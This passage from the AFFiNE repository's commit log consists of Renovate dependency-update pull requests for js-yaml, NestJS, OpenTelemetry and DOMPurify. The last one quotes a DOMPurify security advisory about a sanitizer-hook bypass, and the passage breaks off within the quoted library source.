- Avoid exponential parsing time for nested flow sequence pairs.

###
[`v5.2.1`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#521---2026-07-02)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/5.2.0...5.2.1)

##### Fixed

- Add `Map` support to !!omap (should work when `realMapTag` used)

##### Security

- Remove quadratic complexity from !!omap `addItem`. Regression from v5
  (usually not critical, because YAML11\_SCHEMA is not default anymore).

###
[`v5.2.0`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#520---2026-06-26)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/5.1.0...5.2.0)

##### Added

- Added `maxTotalMergeKeys` (10000) loader option to limit the total
number of
keys processed by YAML merge (`<<`) across one `load()` / `loadAll()`
call.
- Added `maxAliases` (-1) loader option to limit the number of YAML
aliases per
  document.

##### Removed

- `maxMergeSeqLength` replaced with `maxTotalMergeKeys` for limiting
YAML merge
  processing.

##### Fixed

- Round-trip of integers with exponential form (>= `1e21`)

###
[`v5.1.0`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#510---2026-06-23)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/5.0.0...5.1.0)

##### Added

- Collection tags can finalize an incrementally populated carrier into a
  different result value.

##### Changed

- \[breaking] `quoteStyle` now selects the preferred quote style; use
the
  restored `forceQuotes` option to force quoting non-key strings.

###
[`v5.0.0`](https://redirect.github.com/nodeca/js-yaml/blob/HEAD/CHANGELOG.md#500---2026-06-20)

[Compare
Source](https://redirect.github.com/nodeca/js-yaml/compare/4.3.0...5.0.0)

##### Added

- Added named exports for schemas, tags, parser events and AST
utilities.
- Reworked `JSON_SCHEMA` and `CORE_SCHEMA` with spec-compliant scalar
resolution
  rules, and added `YAML11_SCHEMA`.
- Added `realMapTag` for lossless mappings with non-string and complex
keys.
Object-based mappings now reject complex keys instead of stringifying
them.
- Added `dump()` `transform` option for changing the generated AST
before
  rendering.
- Added `dump()` options `seqInlineFirst`, `flowBracketPadding`,
`flowSkipCommaSpace`, `flowSkipColonSpace`, `quoteFlowKeys`,
`quoteStyle` and
  `tagBeforeAnchor`.
- Added formal data layers (events and AST) for modular data pipelines.
  - Added low-level parser (to events), presenter and visitor APIs.
- Added the [YAML Test
Suite](https://redirect.github.com/yaml/yaml-test-suite) to the
  test set.

##### Changed

- See the [migration guide](docs/migrate_v4_to_v5.md) for upgrade notes.
- Rewritten in TypeScript and reorganized the public API around flat
named
  exports.
- Reduced the set of exported schemas:
  - YAML 1.2 schemas: `CORE_SCHEMA` (loader default), `JSON_SCHEMA`,
    `FAILSAFE_SCHEMA`.
- `YAML11_SCHEMA`, a combination of all YAML 1.1 tags (YAML 1.1 does not
    specify a schema, only "types").
- `load`/`dump` default behaviour is now specified exactly via schemas:
  - `load` uses `CORE_SCHEMA`, without `!!merge` by default.
- `dump` uses `YAML11_SCHEMA` + `CORE_SCHEMA` for the quoting check, to
    guarantee backward compatibility by default.
- `!!set` is now loaded as a JavaScript `Set`.
- Replaced the `Type` API with a tags API. Similar, but more precise and
  simpler. See examples for details. Tags can be defined via
`defineScalarTag()`, `defineSequenceTag()` and `defineMappingTag()`, or
as a
  spread + override of an existing tag.
- Renamed `Schema.extend()` to `Schema.withTags()`.
- Expanded YAML 1.2 conformance and improved handling of directives,
document
  markers, block keys, multiline scalars, tag syntax and other things.
- `load()` now throws on empty input instead of returning `undefined`.
- Moved browser builds to the `js-yaml/browser` export.
- Deprecated the `loadAll` signature with an iterator (still works, but
is a
  candidate for removal).

##### Removed

- Removed deprecated `safeLoad()`, `safeLoadAll()` and `safeDump()`
exports.
- Removed `DEFAULT_SCHEMA` and the nested `types` export.
- Removed loader options `onWarning`, `legacy` and `listener`.
- Removed dumper options `styles`, `replacer`, `noCompatMode`,
`condenseFlow`,
`quotingType` and `forceQuotes`. Renamed `noArrayIndent` to
`seqNoIndent`.
Formatting and representation are now configured through presenter
options,
  schemas and tag definitions. See migration guide on how to replace.
- Removed support for importing internal files from `lib/`.

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about these
updates again.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4zLjIiLCJ0YXJnZXRCcmFuY2giOiJjYW5hcnkiLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-31 13:50:48 +08:00
renovate[bot] d3975a64f4 chore: bump up nestjs (#15276)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [@nestjs/common](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/common))
| [`11.1.27` →
`11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fcommon/11.1.27/11.1.28)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcommon/11.1.28?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcommon/11.1.27/11.1.28?slim=true)
|
| [@nestjs/core](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/core))
| [`11.1.27` →
`11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fcore/11.1.27/11.1.28)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fcore/11.1.28?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fcore/11.1.27/11.1.28?slim=true)
|
| [@nestjs/platform-express](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-express))
| [`11.1.27` →
`11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-express/11.1.27/11.1.28)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-express/11.1.28?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-express/11.1.27/11.1.28?slim=true)
|
| [@nestjs/platform-socket.io](https://nestjs.com)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/platform-socket.io))
| [`11.1.27` →
`11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fplatform-socket.io/11.1.27/11.1.28)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fplatform-socket.io/11.1.28?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fplatform-socket.io/11.1.27/11.1.28?slim=true)
|
| [@nestjs/swagger](https://redirect.github.com/nestjs/swagger) |
[`11.4.4` →
`11.4.6`](https://renovatebot.com/diffs/npm/@nestjs%2fswagger/11.4.4/11.4.6)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fswagger/11.4.6?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fswagger/11.4.4/11.4.6?slim=true)
|
| [@nestjs/websockets](https://redirect.github.com/nestjs/nest)
([source](https://redirect.github.com/nestjs/nest/tree/HEAD/packages/websockets))
| [`11.1.27` →
`11.1.28`](https://renovatebot.com/diffs/npm/@nestjs%2fwebsockets/11.1.27/11.1.28)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@nestjs%2fwebsockets/11.1.28?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@nestjs%2fwebsockets/11.1.27/11.1.28?slim=true)
|

---

### Release Notes

<details>
<summary>nestjs/nest (@&#8203;nestjs/common)</summary>

###
[`v11.1.28`](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/core)</summary>

###
[`v11.1.28`](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-express)</summary>

###
[`v11.1.28`](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28)

</details>

<details>
<summary>nestjs/nest (@&#8203;nestjs/platform-socket.io)</summary>

###
[`v11.1.28`](https://redirect.github.com/nestjs/nest/releases/tag/v11.1.28)

[Compare
Source](https://redirect.github.com/nestjs/nest/compare/v11.1.27...v11.1.28)

##### v11.1.28 (2026-07-08)

##### Bug fixes

- `core`
- [#&#8203;17239](https://redirect.github.com/nestjs/nest/pull/17239)
fix(core): trigger teardown of SSE producer Observable on client
disconnect with interceptor
([@&#8203;jyx-07](https://redirect.github.com/jyx-07))
- `common`
- [#&#8203;17257](https://redirect.github.com/nestjs/nest/pull/17257)
fix(common): Add missing exception classes to HttpErrorByCode
([@&#8203;Se3do](https://redirect.github.com/Se3do))
- `websockets`
- [#&#8203;17188](https://redirect.github.com/nestjs/nest/pull/17188)
fix(websockets): correct type guard to check value not key
([@&#8203;Se3do](https://redirect.github.com/Se3do))

##### Enhancements

- `core`
- [#&#8203;17241](https://redirect.github.com/nestjs/nest/pull/17241)
feat(core): include auto-converted route in legacy route path warning
([@&#8203;ronielli](https://redirect.github.com/ronielli))

##### Dependencies

- `platform-fastify`
- [#&#8203;17262](https://redirect.github.com/nestjs/nest/pull/17262)
chore(deps): bump fastify from 5.8.5 to 5.10.0
([@&#8203;dependabot\[bot\]](https://redirect.github.com/apps/dependabot))
- `platform-express`
- [#&#8203;17164](https://redirect.github.com/nestjs/nest/pull/17164)
fix(deps): update dependency multer to v2.2.0 \[security]
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))

##### Committers: 4

- Mohammed Said ([@&#8203;Se3do](https://redirect.github.com/Se3do))
- Ronielli ([@&#8203;ronielli](https://redirect.github.com/ronielli))
- greymoth
([@&#8203;greymoth-jp](https://redirect.github.com/greymoth-jp))
- 종윤 ([@&#8203;jyx-07](https://redirect.github.com/jyx-07))

</details>

<details>
<summary>nestjs/swagger (@&#8203;nestjs/swagger)</summary>

###
[`v11.4.6`](https://redirect.github.com/nestjs/swagger/releases/tag/11.4.6)

[Compare
Source](https://redirect.github.com/nestjs/swagger/compare/11.4.5...11.4.6)

#### 11.4.6 (2026-07-17)

##### Features

- [#&#8203;3964](https://redirect.github.com/nestjs/swagger/pull/3964)
feat(plugin): infer ApiParam enum from
[@&#8203;Param](https://redirect.github.com/Param) literal-union types
([@&#8203;y-hsgw](https://redirect.github.com/y-hsgw))

##### Bug fixes

- [#&#8203;3947](https://redirect.github.com/nestjs/swagger/pull/3947)
fix(type-helpers): preserve array-ness for nested DTO arrays in
DeepPartialType
([@&#8203;yogeshwaran-c](https://redirect.github.com/yogeshwaran-c))
- [#&#8203;3945](https://redirect.github.com/nestjs/swagger/pull/3945)
fix(mimetype-content-wrapper): clone object per mimetype to avoid shared
references
([@&#8203;yogeshwaran-c](https://redirect.github.com/yogeshwaran-c))
- [#&#8203;3972](https://redirect.github.com/nestjs/swagger/pull/3972)
fix: avoid inline PickType schema collisions
([@&#8203;cyphercodes](https://redirect.github.com/cyphercodes))
- [#&#8203;3969](https://redirect.github.com/nestjs/swagger/pull/3969)
fix: Added missing summary type to the response object
([@&#8203;MichielDeMey](https://redirect.github.com/MichielDeMey))

##### Enhancements

- [#&#8203;3949](https://redirect.github.com/nestjs/swagger/pull/3949)
feat(api-query): support custom OpenAPI extensions
([@&#8203;yogeshwaran-c](https://redirect.github.com/yogeshwaran-c))

##### Dependencies

- [#&#8203;3986](https://redirect.github.com/nestjs/swagger/pull/3986)
fix(deps): update dependency js-yaml to v5
([@&#8203;renovate\[bot\]](https://redirect.github.com/apps/renovate))

##### Committers: 4

- Michiel De Mey
([@&#8203;MichielDeMey](https://redirect.github.com/MichielDeMey))
- Rayan Salhab
([@&#8203;cyphercodes](https://redirect.github.com/cyphercodes))
- Yogeshwaran C
([@&#8203;yogeshwaran-c](https://redirect.github.com/yogeshwaran-c))
- Yukihiro Hasegawa
([@&#8203;y-hsgw](https://redirect.github.com/y-hsgw))

###
[`v11.4.5`](https://redirect.github.com/nestjs/swagger/releases/tag/11.4.5)

[Compare
Source](https://redirect.github.com/nestjs/swagger/compare/11.4.4...11.4.5)

#### What's Changed

- feat(plugin): generate additionalProperties for Record/index-signature
types by [@&#8203;y-hsgw](https://redirect.github.com/y-hsgw) in
[#&#8203;3957](https://redirect.github.com/nestjs/swagger/pull/3957)
- fix(deps): update dependency swagger-ui-dist to v5.32.8 by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;3973](https://redirect.github.com/nestjs/swagger/pull/3973)
- fix(deps): update dependency js-yaml to v4.2.0 \[security] by
[@&#8203;renovate](https://redirect.github.com/renovate)\[bot] in
[#&#8203;3988](https://redirect.github.com/nestjs/swagger/pull/3988)

**Full Changelog**:
<https://github.com/nestjs/swagger/compare/11.4.4...11.4.5>

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNjUuMSIsInVwZGF0ZWRJblZlciI6IjQzLjI2NS4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-31 10:57:37 +08:00
renovate[bot] b91db2ace4 chore: bump up opentelemetry (#15323)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
|
[@opentelemetry/instrumentation-graphql](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-graphql#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-graphql))
| [`^0.67.0` →
`^0.69.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-graphql/0.67.0/0.69.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-graphql/0.69.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-graphql/0.67.0/0.69.0?slim=true)
|
|
[@opentelemetry/instrumentation-ioredis](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-ioredis#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-ioredis))
| [`^0.67.0` →
`^0.69.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-ioredis/0.67.0/0.69.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-ioredis/0.69.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-ioredis/0.67.0/0.69.0?slim=true)
|
|
[@opentelemetry/instrumentation-nestjs-core](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-nestjs-core#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-nestjs-core))
| [`^0.65.0` →
`^0.67.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-nestjs-core/0.65.0/0.67.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-nestjs-core/0.67.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-nestjs-core/0.65.0/0.67.0?slim=true)
|
|
[@opentelemetry/instrumentation-socket.io](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/main/packages/instrumentation-socket.io#readme)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/tree/HEAD/packages/instrumentation-socket.io))
| [`^0.66.0` →
`^0.68.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2finstrumentation-socket.io/0.66.0/0.68.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2finstrumentation-socket.io/0.68.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2finstrumentation-socket.io/0.66.0/0.68.0?slim=true)
|
|
[@opentelemetry/semantic-conventions](https://redirect.github.com/open-telemetry/opentelemetry-js/tree/main/semantic-conventions)
([source](https://redirect.github.com/open-telemetry/opentelemetry-js))
| [`1.41.1` →
`1.43.0`](https://renovatebot.com/diffs/npm/@opentelemetry%2fsemantic-conventions/1.41.1/1.43.0)
|
![age](https://developer.mend.io/api/mc/badges/age/npm/@opentelemetry%2fsemantic-conventions/1.43.0?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/@opentelemetry%2fsemantic-conventions/1.41.1/1.43.0?slim=true)
|

---

### Release Notes

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-graphql)</summary>

###
[`v0.69.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0690-2026-07-23)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/8d7daea5c404855f474a82f4296640af8b93b64c...27e172a9e0d549559056ccd58f27d13467454156)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3629](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3629))
([466d5de](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/466d5def474cf251217881322ed4db13fad96b86))

###
[`v0.68.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-graphql/CHANGELOG.md#0680-2026-07-03)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/4e52a9053029304f271b7dbe1b07e7fb2b987e30...8d7daea5c404855f474a82f4296640af8b93b64c)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3593](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3593))
([6dfb532](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/6dfb532ac16889c2f8656f2d9132a290e68cb570))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-ioredis)</summary>

###
[`v0.69.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0690-2026-07-23)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/8d7daea5c404855f474a82f4296640af8b93b64c...27e172a9e0d549559056ccd58f27d13467454156)

##### ⚠ BREAKING CHANGES

- only emit stable http, network and database attributes
([#&#8203;3585](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3585))

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3629](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3629))
([466d5de](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/466d5def474cf251217881322ed4db13fad96b86))
- only emit stable http, network and database attributes
([#&#8203;3585](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3585))
([5b7dd0e](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/5b7dd0e102e940d653e04b08b5a1b721a8271037))

##### Bug Fixes

- **instrumentation-ioredis:** correctly mark MULTI/PIPELINE in
operation name
([#&#8203;3278](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3278))
([057847b](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/057847b3a8e849b72e0d0ca63bb3a17ffef9e413))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.67.0 to ^0.68.0

###
[`v0.68.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-ioredis/CHANGELOG.md#0680-2026-07-03)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/4e52a9053029304f271b7dbe1b07e7fb2b987e30...8d7daea5c404855f474a82f4296640af8b93b64c)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3593](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3593))
([6dfb532](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/6dfb532ac16889c2f8656f2d9132a290e68cb570))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.66.0 to ^0.67.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-nestjs-core)</summary>

###
[`v0.67.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0670-2026-07-23)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/8d7daea5c404855f474a82f4296640af8b93b64c...27e172a9e0d549559056ccd58f27d13467454156)

##### ⚠ BREAKING CHANGES

- only emit stable http, network and database attributes
([#&#8203;3585](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3585))

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3629](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3629))
([466d5de](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/466d5def474cf251217881322ed4db13fad96b86))
- only emit stable http, network and database attributes
([#&#8203;3585](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3585))
([5b7dd0e](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/5b7dd0e102e940d653e04b08b5a1b721a8271037))

###
[`v0.66.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-nestjs-core/CHANGELOG.md#0660-2026-07-03)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/4e52a9053029304f271b7dbe1b07e7fb2b987e30...8d7daea5c404855f474a82f4296640af8b93b64c)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3593](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3593))
([6dfb532](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/6dfb532ac16889c2f8656f2d9132a290e68cb570))

</details>

<details>
<summary>open-telemetry/opentelemetry-js-contrib
(@&#8203;opentelemetry/instrumentation-socket.io)</summary>

###
[`v0.68.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0680-2026-07-23)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/8d7daea5c404855f474a82f4296640af8b93b64c...27e172a9e0d549559056ccd58f27d13467454156)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3629](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3629))
([466d5de](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/466d5def474cf251217881322ed4db13fad96b86))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.67.0 to ^0.68.0

###
[`v0.67.0`](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/blob/HEAD/packages/instrumentation-socket.io/CHANGELOG.md#0670-2026-07-03)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/compare/4e52a9053029304f271b7dbe1b07e7fb2b987e30...8d7daea5c404855f474a82f4296640af8b93b64c)

##### Features

- **deps:** update deps matching '@&#8203;opentelemetry/\*'
([#&#8203;3593](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/issues/3593))
([6dfb532](https://redirect.github.com/open-telemetry/opentelemetry-js-contrib/commit/6dfb532ac16889c2f8656f2d9132a290e68cb570))

##### Dependencies

- The following workspace dependencies were updated
  - devDependencies
-
[@&#8203;opentelemetry/contrib-test-utils](https://redirect.github.com/opentelemetry/contrib-test-utils)
bumped from ^0.66.0 to ^0.67.0

</details>

<details>
<summary>open-telemetry/opentelemetry-js
(@&#8203;opentelemetry/semantic-conventions)</summary>

###
[`v1.43.0`](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/f7c090cf5ede9ce81bd8c96a092a0b549ad13c31...9b05f668ee7ab884a44b04b504e0baaff6c6d2b2)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/f7c090cf5ede9ce81bd8c96a092a0b549ad13c31...9b05f668ee7ab884a44b04b504e0baaff6c6d2b2)

###
[`v1.42.0`](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/013c60085b84351a4c1e4e4f79e3dd67c56661cd...f7c090cf5ede9ce81bd8c96a092a0b549ad13c31)

[Compare
Source](https://redirect.github.com/open-telemetry/opentelemetry-js/compare/013c60085b84351a4c1e4e4f79e3dd67c56661cd...f7c090cf5ede9ce81bd8c96a092a0b549ad13c31)

</details>

---

### Configuration

📅 **Schedule**: (UTC)

- Branch creation
  - At any time (no schedule defined)
- Automerge
  - At any time (no schedule defined)

🚦 **Automerge**: Disabled by config. Please merge this manually once you
are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the
rebase/retry checkbox.

👻 **Immortal**: This PR will be recreated if closed unmerged. Get
[config
help](https://redirect.github.com/renovatebot/renovate/discussions) if
that's undesired.

---

- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box

---

This PR was generated by [Mend Renovate](https://mend.io/renovate/).
View the [repository job
log](https://developer.mend.io/github/toeverything/AFFiNE).

<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0My4yNzUuMiIsInVwZGF0ZWRJblZlciI6IjQzLjI4MC4wIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==-->

Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-07-31 10:57:02 +08:00
DarkSky 749f1c5f0b fix(mobile): popover styles (#15351) 2026-07-26 20:09:02 +08:00
renovate[bot] 7c6a36728c chore: bump up dompurify version to v3.4.12 [SECURITY] (#15326)
This PR contains the following updates:

| Package | Change |
[Age](https://docs.renovatebot.com/merge-confidence/) |
[Confidence](https://docs.renovatebot.com/merge-confidence/) |
|---|---|---|---|
| [dompurify](https://redirect.github.com/cure53/DOMPurify) | [`3.4.11`
→ `3.4.12`](https://renovatebot.com/diffs/npm/dompurify/3.4.11/3.4.12) |
![age](https://developer.mend.io/api/mc/badges/age/npm/dompurify/3.4.12?slim=true)
|
![confidence](https://developer.mend.io/api/mc/badges/confidence/npm/dompurify/3.4.11/3.4.12?slim=true)
|

---

### DOMPurify: `CUSTOM_ELEMENT_HANDLING` bypasses
`afterSanitizeElements` for allowed custom elements.

[GHSA-c2j3-45gr-mqc4](https://redirect.github.com/advisories/GHSA-c2j3-45gr-mqc4)

<details>
<summary>More information</summary>

#### Details
##### Summary

There is a possible hook-policy inconsistency in DOMPurify 3.4.11
involving `CUSTOM_ELEMENT_HANDLING`.

When a custom element is allowed via
`CUSTOM_ELEMENT_HANDLING.tagNameCheck`, it appears that the element does
not go through `afterSanitizeElements` in the same way as a normal
element. As a result, an application that relies on
`afterSanitizeElements` as a security policy layer to strip sensitive
attributes from all elements may see those attributes removed from
normal elements but preserved on allowed custom elements.

This does not appear to be a direct DOMPurify XSS or a case where
DOMPurify directly allows executable payloads. The preserved value is
still inert at sanitize time. The issue becomes relevant when the
allowed custom element later re-injects that attribute value into an
HTML sink such as `innerHTML`, creating a second-order XSS gadget.

##### Details

The issue appears to originate from the control flow in `src/purify.ts`:
line 1672~1691

```tsx
const _sanitizeDisallowedNode = function (
    currentNode: any,
    tagName: string
  ): boolean {
    /* Check if we have a custom element to handle */
    if (!FORBID_TAGS[tagName] && _isBasicCustomElement(tagName)) {
      if (
        CUSTOM_ELEMENT_HANDLING.tagNameCheck instanceof RegExp &&
